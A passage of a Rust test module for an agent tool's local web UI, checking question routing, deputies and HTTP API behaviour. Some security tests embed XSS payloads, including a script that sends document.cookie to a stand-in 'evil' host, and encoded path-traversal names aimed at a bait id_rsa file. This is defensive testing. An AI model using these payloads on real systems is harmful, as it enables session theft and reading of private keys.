7120 let stale = beat(ask::WaiterKind::Asker, 3600);
7121 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7122
7123 let mut c = Question::new(
7126 "task".to_owned(),
7127 crate::conduct::NODE.to_owned(),
7128 "conduct".to_owned(),
7129 "which?".to_owned(),
7130 String::new(),
7131 Vec::new(),
7132 );
7133 assert_eq!(holder_of(&c, None), Some("nobody"));
7134 c.cwd = Some("/tmp".to_owned());
7135 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7136 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7137 let deputy = beat(ask::WaiterKind::Deputy, 1);
7138 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7139 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7140
7141 let mut r = Question::new(
7143 String::new(),
7144 crate::bump::NOTICE_NODE.to_owned(),
7145 "release-watch".to_owned(),
7146 "stuck?".to_owned(),
7147 String::new(),
7148 vec!["hold".to_owned()],
7149 );
7150 assert_eq!(holder_of(&r, None), Some("nobody"));
7151 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7152 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7153 r.deputy = None;
7155 r.seat = "bump".to_owned();
7156 assert_eq!(holder_of(&r, None), None);
7157
7158 let mut m = Question::new(
7161 "run".to_owned(),
7162 crate::land::APPROVAL_NODE.to_owned(),
7163 "land".to_owned(),
7164 "merge?".to_owned(),
7165 String::new(),
7166 Vec::new(),
7167 );
7168 assert_eq!(holder_of(&m, None), Some("nobody"));
7169 assert_eq!(
7170 holder_of(&m, Some(&fresh)),
7171 Some("nobody"),
7172 "a lease with no deputy is not a listener"
7173 );
7174 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7175 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7176 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7177 assert_eq!(holder_of(&m, None), Some("nobody"));
7178 }
7179
7180 fn stub_config() -> Config {
7181 Config {
7184 agents: vec![crate::config::AgentSpec {
7185 id: "stub".to_owned(),
7186 kind: AgentKind::Command,
7187 model: None,
7188 command: vec!["true".to_owned()],
7189 extra_args: Vec::new(),
7190 env: Default::default(),
7191 prompt_delivery: None,
7192 }],
7193 ..Config::default()
7194 }
7195 }
7196
7197 fn plain_question(seat: &str) -> Question {
7198 Question::new(
7199 String::new(),
7200 "n".to_owned(),
7201 seat.to_owned(),
7202 "s".to_owned(),
7203 String::new(),
7204 Vec::new(),
7205 )
7206 }
7207
7208 #[test]
7209 fn deputies_enabled_follows_the_config() {
7210 let on = stub_config();
7211 assert!(crate::deputy::can_start(Some(&on), ""));
7212 assert!(crate::deputy::can_start(Some(&on), "stub"));
7213 let mut off = on.clone();
7214 off.daemon.max_deputies = 0;
7215 assert!(!crate::deputy::can_start(Some(&off), ""));
7216 let mut empty = on;
7217 empty.agents.clear();
7218 assert!(!crate::deputy::can_start(Some(&empty), ""));
7219 assert!(!crate::deputy::can_start(None, ""));
7220 }
7221
7222 #[test]
7223 fn question_views_load_the_config_once() {
7224 let dir = TempDir::new().unwrap();
7225 let store = ask::Questions::at(dir.path().to_path_buf());
7226 let mut with_deputy = plain_question("b");
7227 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7228 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7229
7230 let calls = std::cell::Cell::new(0usize);
7231 let views = question_views(qs.clone(), &store, || {
7232 calls.set(calls.get() + 1);
7233 Some(stub_config())
7234 });
7235 assert_eq!(calls.get(), 1);
7236 assert_eq!(views.len(), 3);
7237 for (v, q) in views.iter().zip(&qs) {
7238 assert_eq!(
7239 v.deputies_enabled,
7240 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7241 );
7242 }
7243
7244 let views = question_views(qs, &store, || None);
7245 assert!(views.iter().all(|v| !v.deputies_enabled));
7246
7247 let calls = std::cell::Cell::new(0usize);
7248 let views = question_views(Vec::new(), &store, || {
7249 calls.set(calls.get() + 1);
7250 None
7251 });
7252 assert!(views.is_empty());
7253 assert_eq!(calls.get(), 0);
7254 }
7255
7256 use pretty_assertions::assert_eq;
7257 use serde_json::Value;
7258 use tempfile::TempDir;
7259 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7260
7261 use super::*;
7262 use crate::config::Config;
7263 use crate::queue::Source;
7264
7265 const SETTLE_STEPS: usize = 3_000;
7276
7277 struct Fixture {
7283 home: TempDir,
7284 addr: SocketAddr,
7285 }
7286
7287 impl Fixture {
7288 async fn start() -> Self {
7289 Self::with_loop(launch_idle).await
7290 }
7291
7292 async fn with_loop(launch: Launch) -> Self {
7294 let home = TempDir::new().expect("temp home");
7295 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7296 Self { home, addr }
7297 }
7298
7299 async fn with_repo(repo: PathBuf) -> Self {
7303 let home = TempDir::new().expect("temp home");
7304 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7305 Self { home, addr }
7306 }
7307
7308 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7311 let home = TempDir::new().expect("temp home");
7312 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7313 Self { home, addr }
7314 }
7315
7316 async fn serve(
7317 home: &FsPath,
7318 repo: PathBuf,
7319 launch: Launch,
7320 machine: Option<PathBuf>,
7321 ) -> SocketAddr {
7322 let queue = Queue::at(home.join("queue"));
7323 let runs = home.join("runs");
7324 std::fs::create_dir_all(&runs).expect("runs dir");
7325 let worktrees = home.join("wt").join("magi");
7326 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7327 let ui = Ui::new(
7328 queue,
7329 Questions::at(home.join("questions")),
7330 Talks::at(home.join("talks")),
7331 runs,
7332 home.to_path_buf(),
7333 repo,
7334 )
7335 .with_worktrees_root(worktrees)
7336 .with_machine_config(machine)
7337 .with_launch(launch);
7338 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7339 .await
7340 .expect("bind loopback");
7341 let addr = listener.local_addr().expect("local addr");
7342 tokio::spawn(async move {
7343 let _ = axum::serve(listener, ui.router()).await;
7344 });
7345 addr
7346 }
7347
7348 fn queue(&self) -> Queue {
7349 Queue::at(self.home.path().join("queue"))
7350 }
7351
7352 fn questions(&self) -> Questions {
7353 Questions::at(self.home.path().join("questions"))
7354 }
7355
7356 fn talks(&self) -> Talks {
7357 Talks::at(self.home.path().join("talks"))
7358 }
7359
7360 fn runs(&self) -> PathBuf {
7361 self.home.path().join("runs")
7362 }
7363
7364 async fn get(&self, path: &str) -> Res {
7365 request(self.addr, "GET", path, None).await
7366 }
7367
7368 async fn head(&self, path: &str) -> Res {
7373 request(self.addr, "HEAD", path, None).await
7374 }
7375
7376 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7377 request(self.addr, "POST", path, body).await
7378 }
7379
7380 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7381 request_with(self.addr, "GET", path, None, extra).await
7382 }
7383
7384 async fn delete(&self, path: &str) -> Res {
7385 request(self.addr, "DELETE", path, None).await
7386 }
7387
7388 async fn put(&self, path: &str, body: &str) -> Res {
7389 request(self.addr, "PUT", path, Some(body)).await
7390 }
7391
7392 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7394 request_bytes(self.addr, path, headers, body).await
7395 }
7396 }
7397
7398 struct Res {
7399 status: u16,
7400 headers: String,
7401 head: String,
7406 body: String,
7407 bytes: Vec<u8>,
7411 }
7412
7413 impl Res {
7414 fn json(&self) -> Value {
7415 serde_json::from_str(&self.body)
7416 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7417 }
7418
7419 fn header(&self, name: &str) -> Option<&str> {
7421 self.head.lines().find_map(|line| {
7422 let (key, value) = line.split_once(':')?;
7423 key.trim()
7424 .eq_ignore_ascii_case(name)
7425 .then(|| value.trim_start().trim_end_matches('\r'))
7426 })
7427 }
7428 }
7429
7430 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7433 request_with(addr, method, path, body, &[]).await
7434 }
7435
7436 async fn request_with(
7440 addr: SocketAddr,
7441 method: &str,
7442 path: &str,
7443 body: Option<&str>,
7444 extra: &[(&str, &str)],
7445 ) -> Res {
7446 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7447 for (name, value) in extra {
7448 head.push_str(&format!("{name}: {value}\r\n"));
7449 }
7450 if let Some(body) = body {
7451 head.push_str("Content-Type: application/json\r\n");
7452 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7453 }
7454 head.push_str("\r\n");
7455 if let Some(body) = body {
7456 head.push_str(body);
7457 }
7458 let mut socket = tokio::net::TcpStream::connect(addr)
7459 .await
7460 .expect("connect to the test server");
7461 socket
7462 .write_all(head.as_bytes())
7463 .await
7464 .expect("write request");
7465 let mut raw = Vec::new();
7466 socket.read_to_end(&mut raw).await.expect("read response");
7467 let split = raw
7470 .windows(4)
7471 .position(|w| w == b"\r\n\r\n")
7472 .expect("a header block");
7473 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7474 let bytes = raw[split + 4..].to_vec();
7475 let status = head
7476 .lines()
7477 .next()
7478 .and_then(|line| line.split_whitespace().nth(1))
7479 .and_then(|code| code.parse().ok())
7480 .expect("a status line");
7481 Res {
7482 status,
7483 headers: head.to_lowercase(),
7484 head,
7485 body: String::from_utf8_lossy(&bytes).into_owned(),
7486 bytes,
7487 }
7488 }
7489
7490 async fn request_bytes(
7496 addr: SocketAddr,
7497 path: &str,
7498 headers: &[(&str, &str)],
7499 body: &[u8],
7500 ) -> Res {
7501 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7502 for (name, value) in headers {
7503 head.push_str(&format!("{name}: {value}\r\n"));
7504 }
7505 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7506 let mut socket = tokio::net::TcpStream::connect(addr)
7507 .await
7508 .expect("connect to the test server");
7509 socket
7510 .write_all(head.as_bytes())
7511 .await
7512 .expect("write request head");
7513 socket.write_all(body).await.expect("write request body");
7514 let mut raw = Vec::new();
7515 socket.read_to_end(&mut raw).await.expect("read response");
7516 let split = raw
7517 .windows(4)
7518 .position(|w| w == b"\r\n\r\n")
7519 .expect("a header block");
7520 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7521 let bytes = raw[split + 4..].to_vec();
7522 let status = head
7523 .lines()
7524 .next()
7525 .and_then(|line| line.split_whitespace().nth(1))
7526 .and_then(|code| code.parse().ok())
7527 .expect("a status line");
7528 Res {
7529 status,
7530 headers: head.to_lowercase(),
7531 head,
7532 body: String::from_utf8_lossy(&bytes).into_owned(),
7533 bytes,
7534 }
7535 }
7536
7537 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7539 let mut state = RunState::new(
7540 PathBuf::from("/repo/magi"),
7541 "main".to_owned(),
7542 "0123456789abcdef".to_owned(),
7543 "Add a web UI\n\nMobile first.".to_owned(),
7544 Config::default(),
7545 );
7546 state.id = id.to_owned();
7547 state.status = status;
7548 let dir = runs.join(id);
7549 std::fs::create_dir_all(&dir).expect("run dir");
7550 std::fs::write(
7551 dir.join("run.json"),
7552 serde_json::to_string_pretty(&state).expect("serialize run"),
7553 )
7554 .expect("write run.json");
7555 }
7556
7557 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7561 let mut state = RunState::new(
7562 PathBuf::from(repo),
7563 "main".to_owned(),
7564 "0123456789abcdef".to_owned(),
7565 "task".to_owned(),
7566 Config::default(),
7567 );
7568 state.id = id.to_owned();
7569 state.status = status;
7570 let dir = runs.join(id);
7571 std::fs::create_dir_all(&dir).expect("run dir");
7572 std::fs::write(
7573 dir.join("run.json"),
7574 serde_json::to_string_pretty(&state).expect("serialize run"),
7575 )
7576 .expect("write run.json");
7577 }
7578
7579 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7580 let body = serde_json::json!({
7581 "schema": 1,
7582 "pid": 4242,
7583 "started_at": Timestamp::now().to_string(),
7584 "updated_at": updated_at.to_string(),
7585 "idle": false,
7586 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7587 "completed": 7,
7588 "polls": 143,
7589 });
7590 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7591 }
7592
7593 fn launch_idle(
7603 _opts: daemon::Opts,
7604 stop: daemon::Stop,
7605 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7606 Box::pin(async move {
7607 while !stop.stopped() {
7608 tokio::time::sleep(Duration::from_millis(2)).await;
7609 }
7610 Ok(())
7611 })
7612 }
7613
7614 fn launch_broken(
7617 _opts: daemon::Opts,
7618 _stop: daemon::Stop,
7619 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7620 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7625 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7626 Box::pin(async move {
7627 Err(anyhow::anyhow!(if first {
7628 "publish the daemon status file: read-only file system"
7629 } else {
7630 "the restarted stand-in failed as well"
7631 }))
7632 })
7633 }
7634
7635 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7642 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7643
7644 fn launch_knocking_on_the_way_out(
7651 _opts: daemon::Opts,
7652 stop: daemon::Stop,
7653 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7654 Box::pin(async move {
7655 while !stop.stopped() {
7656 tokio::time::sleep(Duration::from_millis(2)).await;
7657 }
7658 let addr = PARK_KNOCK
7659 .lock()
7660 .expect("park knock")
7661 .expect("the test set an address");
7662 let heard = request(addr, "GET", "/api/health", None).await.status;
7663 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7664 Ok(())
7665 })
7666 }
7667
7668 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7677 for _ in 0..SETTLE_STEPS {
7678 let view = fx.get("/api/loop").await.json();
7679 if want(&view) {
7680 return view;
7681 }
7682 tokio::time::sleep(Duration::from_millis(10)).await;
7683 }
7684 panic!(
7685 "the loop never settled: {}",
7686 fx.get("/api/loop").await.json()
7687 );
7688 }
7689
7690 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7692 let store = fx.questions();
7693 let mut q = Question::new(
7694 "20260902-000000-beef".to_owned(),
7695 "implement".to_owned(),
7696 "impl-A".to_owned(),
7697 summary.to_owned(),
7698 "because it matters".to_owned(),
7699 choices.iter().map(|c| (*c).to_owned()).collect(),
7700 );
7701 store.put(&mut q).expect("put question");
7702 q.id
7703 }
7704
7705 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7711 let store = fx.questions();
7712 let mut q = Question::new(
7713 "20260902-000000-beef".to_owned(),
7714 "land".to_owned(),
7715 "fix".to_owned(),
7716 "Merge this?".to_owned(),
7717 "the diff is in the panel".to_owned(),
7718 vec!["merge".to_owned(), "hold".to_owned()],
7719 );
7720 let staging = fx.home.path().join("staging");
7723 std::fs::create_dir_all(&staging).expect("staging dir");
7724 let sources: Vec<PathBuf> = assets
7725 .iter()
7726 .map(|(name, bytes)| {
7727 let path = staging.join(name);
7728 std::fs::write(&path, bytes).expect("write staged asset");
7729 path
7730 })
7731 .collect();
7732 store
7733 .put_panel(&mut q, html, &sources)
7734 .expect("write the panel");
7735 store.put(&mut q).expect("put question");
7736 q.id
7737 }
7738
7739 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7748 seed_talk_at(&fx.talks(), id, status)
7749 }
7750
7751 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7752 std::fs::create_dir_all(store.root()).expect("talks dir");
7753 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7754 .expect("serialize a seat");
7755 let body = serde_json::json!({
7756 "schema": 1,
7757 "id": id,
7758 "repo": "/repo/magi",
7759 "agent": "mock",
7760 "status": status,
7761 "turns": [],
7762 "created_at": Timestamp::now().to_string(),
7763 "updated_at": Timestamp::now().to_string(),
7764 "seat": seat,
7765 });
7766 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7767 store.get(id).expect("the seeded talk has to be readable");
7768 id.to_owned()
7769 }
7770
7771 #[tokio::test]
7772 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7773 let fx = Fixture::start().await;
7774 let id = panel(
7775 &fx,
7776 "<h1>Merge?</h1><img src=\"diff.svg\">",
7777 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7778 );
7779
7780 for path in [
7781 format!("/api/questions/{id}/panel"),
7782 format!("/api/questions/{id}/asset/diff.svg"),
7783 ] {
7784 let res = fx.get(&path).await;
7785 assert_eq!(res.status, 200, "{path}: {}", res.body);
7786 assert_eq!(
7792 res.header("content-security-policy"),
7793 Some(
7794 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7795 font-src data:; base-uri 'none'; form-action 'none'; \
7796 frame-ancestors 'self'"
7797 ),
7798 "{path} is the only thing between a hostile panel and the tailnet"
7799 );
7800 assert_eq!(
7801 res.header("x-content-type-options"),
7802 Some("nosniff"),
7803 "{path}: a browser must not re-decide the type we sent"
7804 );
7805 assert_eq!(
7806 res.header("referrer-policy"),
7807 Some("no-referrer"),
7808 "{path}: a panel must not leak the question id off the machine"
7809 );
7810
7811 let pre = fx.head(&path).await;
7816 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7817 assert_eq!(
7818 pre.header("content-security-policy"),
7819 res.header("content-security-policy"),
7820 "{path}: the preflight carries the same policy"
7821 );
7822 assert_eq!(
7823 pre.header("content-type"),
7824 res.header("content-type"),
7825 "{path}: the preflight carries the same type"
7826 );
7827 }
7828 }
7829
7830 #[tokio::test]
7831 async fn a_panel_reaches_the_browser_byte_for_byte() {
7832 let fx = Fixture::start().await;
7833 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7838 let id = panel(&fx, html, &[]);
7839
7840 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7841
7842 assert_eq!(res.status, 200);
7843 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7844 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7845 assert_eq!(
7846 res.header("content-disposition"),
7847 None,
7848 "the panel itself is rendered in the frame, not downloaded"
7849 );
7850 }
7851
7852 #[tokio::test]
7853 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7854 let fx = Fixture::start().await;
7855 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7856 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7857 let id = panel(
7858 &fx,
7859 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7860 &[("diff.svg", svg), ("shot.png", png)],
7861 );
7862
7863 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7864 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7865
7866 assert_eq!(as_svg.status, 200);
7867 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7868 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7873
7874 assert_eq!(as_png.status, 200);
7875 assert_eq!(as_png.header("content-type"), Some("image/png"));
7876 assert_eq!(
7877 as_png.header("content-disposition"),
7878 None,
7879 "a raster image has no execution surface, so tapping it still shows it"
7880 );
7881 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7882 }
7883
7884 #[tokio::test]
7885 async fn an_html_asset_is_never_served_as_html() {
7886 let fx = Fixture::start().await;
7887 let id = panel(
7888 &fx,
7889 "<p>see the notes</p>",
7890 &[
7891 (
7892 "notes.html",
7893 b"<script>fetch('http://evil/'+document.cookie)</script>",
7894 ),
7895 ("hook.js", b"fetch('http://evil/')"),
7896 ("data.json", b"{}"),
7897 ("HEADLINE.TXT", b"plain"),
7898 ],
7899 );
7900
7901 for name in ["notes.html", "hook.js", "data.json"] {
7902 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7903 assert_eq!(res.status, 200, "{name}: {}", res.body);
7904 assert_eq!(
7909 res.header("content-type"),
7910 Some("application/octet-stream"),
7911 "{name} must not be a type the browser will execute or render"
7912 );
7913 }
7914 let txt = fx
7917 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7918 .await;
7919 assert_eq!(
7920 txt.header("content-type"),
7921 Some("text/plain; charset=utf-8")
7922 );
7923 }
7924
7925 #[tokio::test]
7926 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7927 let fx = Fixture::start().await;
7928 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7929 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7933
7934 for encoded in [
7941 "%2e%2e%2fid_rsa",
7942 "..%2fid_rsa",
7943 "..%5cid_rsa",
7944 "%2e%2e%5cid_rsa",
7945 "diff%00.svg",
7946 "..",
7947 ".hidden",
7948 "%2e%2e%2f%2e%2e%2fid_rsa",
7949 ] {
7950 let res = fx
7951 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7952 .await;
7953 assert_eq!(
7954 res.status, 400,
7955 "`{encoded}` has to be refused by name, not looked up: {}",
7956 res.body
7957 );
7958 assert!(res.json()["error"].is_string(), "{}", res.body);
7959 }
7960
7961 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7967 let res = fx
7968 .get(&format!("/api/questions/{id}/asset/{literal}"))
7969 .await;
7970 assert_eq!(
7971 res.status, 404,
7972 "`{literal}` must not match the asset route at all: {}",
7973 res.body
7974 );
7975 }
7976 }
7977
7978 #[tokio::test]
7979 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7980 let fx = Fixture::start().await;
7981 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7982 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7983
7984 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7988 assert_eq!(none.status, 404, "{}", none.body);
7989 assert!(none.json()["error"].is_string(), "{}", none.body);
7990 assert_eq!(
7991 fx.head(&format!("/api/questions/{plain}/panel"))
7992 .await
7993 .status,
7994 404,
7995 "the preflight is the only way the client can learn this"
7996 );
7997
7998 let missing = fx
8000 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8001 .await;
8002 assert_eq!(missing.status, 404, "{}", missing.body);
8003 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8004
8005 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8007 assert_eq!(
8008 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8009 404
8010 );
8011 }
8012
8013 #[tokio::test]
8014 async fn a_run_with_an_open_question_reads_as_waiting() {
8015 let fx = Fixture::start().await;
8016 let run = "20260902-000000-beef".to_owned();
8017 write_run(&fx.runs(), &run, RunStatus::Implementing);
8018
8019 let before = fx.get("/api/runs").await.json();
8020 assert_eq!(before[0]["waiting"], false, "{before}");
8021
8022 let store = fx.questions();
8023 let mut q = Question::new(
8024 run.clone(),
8025 "implement".to_owned(),
8026 "impl-A".to_owned(),
8027 "Which backend?".to_owned(),
8028 String::new(),
8029 vec!["SQLite".to_owned()],
8030 );
8031 store.put(&mut q).expect("put");
8032
8033 let during = fx.get("/api/runs").await.json();
8034 assert_eq!(during[0]["waiting"], true, "{during}");
8035
8036 q.answer(Answer::Choice("SQLite".to_owned()))
8039 .expect("answer");
8040 store.put(&mut q).expect("put");
8041 let after = fx.get("/api/runs").await.json();
8042 assert_eq!(after[0]["waiting"], false, "{after}");
8043 }
8044
8045 #[tokio::test]
8046 async fn an_open_question_is_listed_and_counted_by_health() {
8047 let fx = Fixture::start().await;
8048 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8049
8050 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8051 let listed = fx.get("/api/questions").await.json();
8052 assert_eq!(listed.as_array().expect("array").len(), 1);
8053 assert_eq!(listed[0]["id"], id);
8054 assert_eq!(listed[0]["status"], "open");
8055 assert_eq!(listed[0]["choices"][1], "Redis");
8056 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8059 }
8060
8061 #[tokio::test]
8062 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8063 let fx = Fixture::start().await;
8064 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8065 let path = format!("/api/questions/{id}/answer");
8066
8067 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8068 assert_eq!(res.status, 200, "{}", res.body);
8069 let body = res.json();
8070 assert_eq!(body["status"], "answered");
8071 assert_eq!(body["answer"]["choice"], "Redis");
8072
8073 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8077 assert_eq!(again.status, 409, "{}", again.body);
8078 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8079 }
8080
8081 #[tokio::test]
8082 async fn saying_something_appends_a_turn_without_answering() {
8083 let fx = Fixture::start().await;
8084 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8085 let path = format!("/api/questions/{id}/say");
8086
8087 let res = fx
8088 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8089 .await;
8090 assert_eq!(res.status, 200, "{}", res.body);
8091 let body = res.json();
8092 assert_eq!(body["status"], "open", "talking back is not a decision");
8093 assert_eq!(body["answer"], Value::Null);
8094 assert_eq!(body["thread"][0]["who"], "operator");
8095 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8096 assert_eq!(body["waiting_on_agent"], true);
8097 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8099 }
8100
8101 #[tokio::test]
8102 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8103 let fx = Fixture::start().await;
8104 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8105
8106 let list = fx.get("/api/questions").await.json();
8107 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8108
8109 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8110 assert_eq!(res.status, 409, "{}", res.body);
8111 let q = fx.questions().get(&id).unwrap();
8112 assert!(q.status.open());
8113 assert!(q.consult.is_none());
8114 }
8115
8116 #[tokio::test]
8117 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8118 let fx = Fixture::start().await;
8119 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8120 let cfg = Config {
8121 agents: vec![crate::config::AgentSpec {
8122 id: "mock".to_owned(),
8123 kind: crate::config::AgentKind::Command,
8124 model: None,
8125 command: vec!["true".to_owned()],
8126 extra_args: Vec::new(),
8127 env: Default::default(),
8128 prompt_delivery: None,
8129 }],
8130 ..Config::default()
8131 };
8132 let talk = crate::talk::begin(
8133 &fx.talks(),
8134 &cfg,
8135 fx.home.path().to_path_buf(),
8136 Some("mock"),
8137 )
8138 .unwrap();
8139 let mut task = Task::new(
8140 "t".to_owned(),
8141 "Do it".to_owned(),
8142 PathBuf::from("/repo/magi"),
8143 Source::Agent {
8144 run: talk.id.clone(),
8145 node: crate::queue::CHAT_NODE.to_owned(),
8146 },
8147 );
8148 task.start("20260902-000000-beef".to_owned());
8149 fx.queue().put(&mut task).unwrap();
8150
8151 let list = fx.get("/api/questions").await.json();
8152 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8153 assert_eq!(
8154 list[0]["choices"],
8155 serde_json::json!(["SQLite", "Redis"]),
8156 "the hand-over is never a choice"
8157 );
8158 fx.questions()
8159 .update(&id, |q| {
8160 q.node = crate::land::APPROVAL_NODE.into();
8161 q.choices = vec!["merge".into(), "hold".into()];
8162 Ok(())
8163 })
8164 .unwrap();
8165 let list = fx.get("/api/questions").await.json();
8166 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8167 let _ = id;
8168 }
8169
8170 #[tokio::test]
8171 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8172 let fx = Fixture::start().await;
8173 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8174 fx.questions()
8175 .update(&id, |q| {
8176 q.node = crate::land::APPROVAL_NODE.into();
8177 q.choices = vec!["merge".into(), "hold".into()];
8178 Ok(())
8179 })
8180 .unwrap();
8181 let cfg = Config {
8182 agents: vec![crate::config::AgentSpec {
8183 id: "mock".to_owned(),
8184 kind: crate::config::AgentKind::Command,
8185 model: None,
8186 command: vec!["true".to_owned()],
8187 extra_args: Vec::new(),
8188 env: Default::default(),
8189 prompt_delivery: None,
8190 }],
8191 ..Config::default()
8192 };
8193 let repo = fx.home.path().join("chat-repo");
8195 std::fs::create_dir_all(&repo).unwrap();
8196 let toml = repo.join("magi.toml");
8197 std::fs::write(&toml, "this is = = not toml").unwrap();
8198 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8199 let mut task = Task::new(
8200 "t".to_owned(),
8201 "Do it".to_owned(),
8202 PathBuf::from("/repo/magi"),
8203 Source::Agent {
8204 run: talk.id.clone(),
8205 node: crate::queue::CHAT_NODE.to_owned(),
8206 },
8207 );
8208 task.start("20260902-000000-beef".to_owned());
8209 fx.queue().put(&mut task).unwrap();
8210
8211 let path = format!("/api/questions/{id}/consult");
8212 let res = fx.post(&path, None).await;
8213 assert!(res.status >= 400, "{}", res.body);
